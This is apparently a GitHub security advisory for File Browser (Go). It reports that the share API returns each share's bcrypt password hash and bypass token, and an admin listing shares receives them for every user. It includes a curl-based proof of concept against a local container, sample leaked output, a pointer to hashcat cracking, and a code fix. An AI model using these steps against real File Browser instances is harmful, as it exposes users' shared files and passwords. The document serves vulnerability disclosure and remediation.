GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| Go | github.com/filebrowser/filebrowser/v2 | < 2.63.17 | 2.63.17 |
Details
As written in the advisory (Markdown source, shown as plain text).
## Summary
When a user creates a password-protected share or lists existing shares, the JSON response includes the full bcrypt `password_hash` and the secret `token` of the share. The `Link` storage struct is serialized directly with `json.Marshal` and tags `password_hash` and `token` for output, with no field filtering. Any authenticated user receives these secrets for their own shares, and an administrator listing all shares via `GET /api/shares` receives the password hash and bypass token for **every** user's shares, enabling offline cracking of share passwords and direct password-bypass access to protected shares.
## Details
**1. The `Link` struct serializes both secrets to JSON (`share/share.go:10-19`)**
```go
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"password_hash,omitempty"` // line 15, bcrypt hash exposed
// Token is only set when PasswordHash is set; it bypasses the password.
Token string `json:"token,omitempty"` // line 19, bypass token exposed
}
```
`omitempty` means the hash and token are emitted whenever a share is password-protected, i.e. in every response for such a share.
**2. The share handlers return the full struct through unfiltered `json.Marshal`**
`sharePostHandler` returns the created `Link` with `renderJSON(w, r, s)` (`http/share.go:179`); `shareListHandler` and `shareGetsHandler` return shares the same way (`http/share.go:55`, `http/share.go:76`). `renderJSON` performs an unfiltered `json.Marshal(data)` (`http/utils.go:16`), so every tagged field, including `password_hash` and `token`, reaches the client.
**3. Administrators receive every user's secrets (`http/share.go:36`)**
```go
s, err = d.store.Share.All() // admin path: returns ALL users' shares
// ...
return renderJSON(w, r, s) // including each share's password_hash and token
```
An admin calling `GET /api/shares` receives the bcrypt hash and bypass token for all shares across all users.
## PoC
Tested against `filebrowser/filebrowser:v2.63.15`.
**Attack Vector: read the bcrypt hash and bypass token from the share API:**
```bash
#1. Seed a file in /tmp and start a fresh v2.63.15 container
mkdir -p /tmp/filebrowser-test/srv/user1
echo "hello" > /tmp/filebrowser-test/srv/user1/readme.txt
docker run -d --name filebrowser-test -p 8090:80 -v /tmp/filebrowser-test/srv:/srv filebrowser/filebrowser:v2.63.15 && sleep 4
B=http://localhost:8090
#2. Log in as admin
AP=$(docker logs filebrowser-test 2>&1 | grep -o 'password: .*' | awk '{print $2}')
T=$(curl -s -X POST $B/api/login -H 'Content-Type: application/json' -d "{\"username\":\"admin\",\"password\":\"$AP\"}")
#3. Create a password-protected share
curl -s -X POST "$B/api/share/user1/readme.txt" -H "X-Auth: $T" -H 'Content-Type: application/json' \
-d '{"password":"ShareSecret123!","expires":"24","unit":"hours"}'
#4. List shares (as admin this returns every user's shares, each with the bcrypt password_hash and bypass token)
curl -s "$B/api/shares" -H "X-Auth: $T"
```
The returned bcrypt hash cracks offline (`hashcat -m 3200`) to recover the share password, and the `token` opens the protected share directly without the password.
Expected output (reproduced on a fresh `filebrowser-test` container, v2.63.15):
Both the `POST /api/share/...` response and the `GET /api/shares` response return HTTP 200 with a body that includes the full bcrypt `password_hash` and the 128-character bypass `token`:
```http
POST /api/share/user1/readme.txt -> 200
GET /api/shares -> 200
{
"hash": "yy9159Cs",
"path": "/user1/readme.txt",
"userID": 1,
"expire": 1781758642,
"password_hash": "$2a$10$SX2h.eKiqMaThRTJNIKVxeVkbXSbGf5XoU0ZX2frcAasjE4RbvBla",
"token": "bO4YpOtayjDNG_72qYk6MHIIn0BNxskySLSAbinAkPcKZX6XD2rRrtDX8Bmro..."
}
```
The hash cracks offline to the known password (`bcrypt.checkpw(b"ShareSecret123!", hash) == True`, `hashcat -m 3200`), and the `token` grants direct access to the password-protected share without knowing the password.
## Impact
- **Offline password cracking:** the bcrypt hash of every password-protected share is returned to clients; weak or reused share passwords can be recovered offline.
- **Password-bypass token leak:** the `token` is the value that bypasses the share password entirely; exposing it in list responses lets any holder of the response open the protected share directly.
- **Admin sees everyone's secrets:** `GET /api/shares` as an administrator returns the hash and token of every user's shares, broadening the exposure across all tenants.
- **Credential reuse risk:** users who reuse an account or service password as a share password expose that password to offline recovery.
## Recommended Fix
Never serialize the hash or the bypass token to clients. Change the JSON tags so the secrets stay server-side:
```go
// share/share.go
type Link struct {
Hash string `json:"hash" storm:"id,index"`
Path string `json:"path" storm:"index"`
UserID uint `json:"userID"`
Expire int64 `json:"expire"`
PasswordHash string `json:"-" storm:"index"` // never serialize
Token string `json:"-"` // never serialize in list responses
}
```
`PasswordHash` and `Token` are only needed server-side (for `bcrypt.CompareHashAndPassword` and token comparison during share authentication). If a client needs to know whether a share is password-protected, expose a derived `HasPassword bool` instead of the hash. Prefer a response DTO over serializing the storage struct directly so future field additions are not exposed by default.
References
External links from the advisory. They lead to third-party sites.